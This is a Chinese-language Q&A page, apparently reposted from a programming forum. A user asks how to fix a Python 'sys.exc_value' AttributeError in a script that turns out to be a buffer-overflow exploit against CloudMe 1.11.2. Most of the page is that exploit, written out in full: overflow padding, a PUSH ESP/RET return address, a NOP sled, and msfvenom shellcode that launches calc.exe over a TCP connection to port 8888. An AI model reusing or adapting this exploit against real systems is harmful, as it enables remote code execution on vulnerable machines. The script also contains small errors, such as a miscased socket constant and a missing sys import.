如何解决AttributeError: 模块“sys”没有属性“exc_value”
import socket
target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP,RET
nopS = b"\x90" * 30
#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
buf = b""
buf += b"\xda\xce\xd9\x74\x24\xf4\xba\xfe\x29\x9f\x7c\x58\x33"
buf += b"\xc9\xb1\x52\x31\x50\x17\x83\xe8\xfc\x03\xae\x3a\x7d"
buf += b"\x89\xb2\xd5\x03\x72\x4a\x26\x64\xfa\xaf\x17\xa4\x98"
buf += b"\xa4\x08\x14\xea\xe8\xa4\xdf\xbe\x18\x3e\xad\x16\x2f"
buf += b"\xf7\x18\x41\x1e\x08\x30\xb1\x01\x8a\x4b\xe6\xe1\xb3"
buf += b"\x83\xfb\xe0\xf4\xfe\xf6\xb0\xad\x75\xa4\x24\xd9\xc0"
buf += b"\x75\xcf\x91\xc5\xfd\x2c\x61\xe7\x2c\xe3\xf9\xbe\xee"
buf += b"\x02\x2d\xcb\xa6\x1c\x32\xf6\x71\x97\x80\x8c\x83\x71"
buf += b"\xd9\x6d\x2f\xbc\xd5\x9f\x31\xf9\xd2\x7f\x44\xf3\x20"
buf += b"\xfd\x5f\xc0\x5b\xd9\xea\xd2\xfc\xaa\x4d\x3e\xfc\x7f"
buf += b"\x0b\xb5\xf2\x34\x5f\x91\x16\xca\x8c\xaa\x23\x47\x33"
buf += b"\x7c\xa2\x13\x10\x58\xee\xc0\x39\xf9\x4a\xa6\x46\x19"
buf += b"\x35\x17\xe3\x52\xd8\x4c\x9e\x39\xb5\xa1\x93\xc1\x45"
buf += b"\xae\xa4\xb2\x77\x71\x1f\x5c\x34\xfa\xb9\x9b\x3b\xd1"
buf += b"\x7e\x33\xc2\xda\x7e\x1a\x01\x8e\x2e\x34\xa0\xaf\xa4"
buf += b"\xc4\x4d\x7a\x6a\x94\xe1\xd5\xcb\x44\x42\x86\xa3\x8e"
buf += b"\x4d\xf9\xd4\xb1\x87\x92\x7f\x48\x40\x97\x75\x5c\x9c"
buf += b"\xcf\x8b\x60\xbf\x26\x05\x86\xd5\x28\x43\x11\x42\xd0"
buf += b"\xce\xe9\xf3\x1d\xc5\x94\x34\x95\xea\x69\xfa\x5e\x86"
buf += b"\x79\x6b\xaf\xdd\x23\x3a\xb0\xcb\x4b\xa0\x23\x90\x8b"
buf += b"\xaf\x5f\x0f\xdc\xf8\xae\x46\x88\x14\x88\xf0\xae\xe4"
buf += b"\x4c\x3a\x6a\x33\xad\xc5\x73\xb6\x89\xe1\x63\x0e\x11"
buf += b"\xae\xd7\xde\x44\x78\x81\x98\x3e\xca\x7b\x73\xec\x84"
buf += b"\xeb\x02\xde\x16\x6d\x0b\x0b\xe1\x91\xba\xe2\xb4\xae"
buf += b"\x73\x63\x31\xd7\x69\x13\xbe\x02\x2a\x23\xf5\x0e\x1b"
buf += b"\xac\x50\xdb\x19\xb1\x62\x36\x5d\xcc\xe0\xb2\x1e\x2b"
buf += b"\xf8\xb7\x1b\x77\xbe\x24\x56\xe8\x2b\x4a\xc5\x09\x7e"
payload = buf
overrun = b"C" * (1500 - len(padding1 + nopS + EIP + payload))
buf = padding1 + EIP + nopS + payload + overrun
try:
s=socket.socket(socket.AF_INET,socket.soCK_STREAM)
s.connect((target,8888))
s.send(buf)
except Exception as e:
print(sys.exc_value)
此代码来自 CloudMe 1.11.2 的缓冲区溢出,我无法执行它,因为我收到此错误消息:
回溯(最近一次调用最后一次): 文件“/root/Documents/bufferoverflow.py”,第 62 行,在 打印(sys.exc_value) AttributeError: 模块 'sys' 没有属性 'exc_value'
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。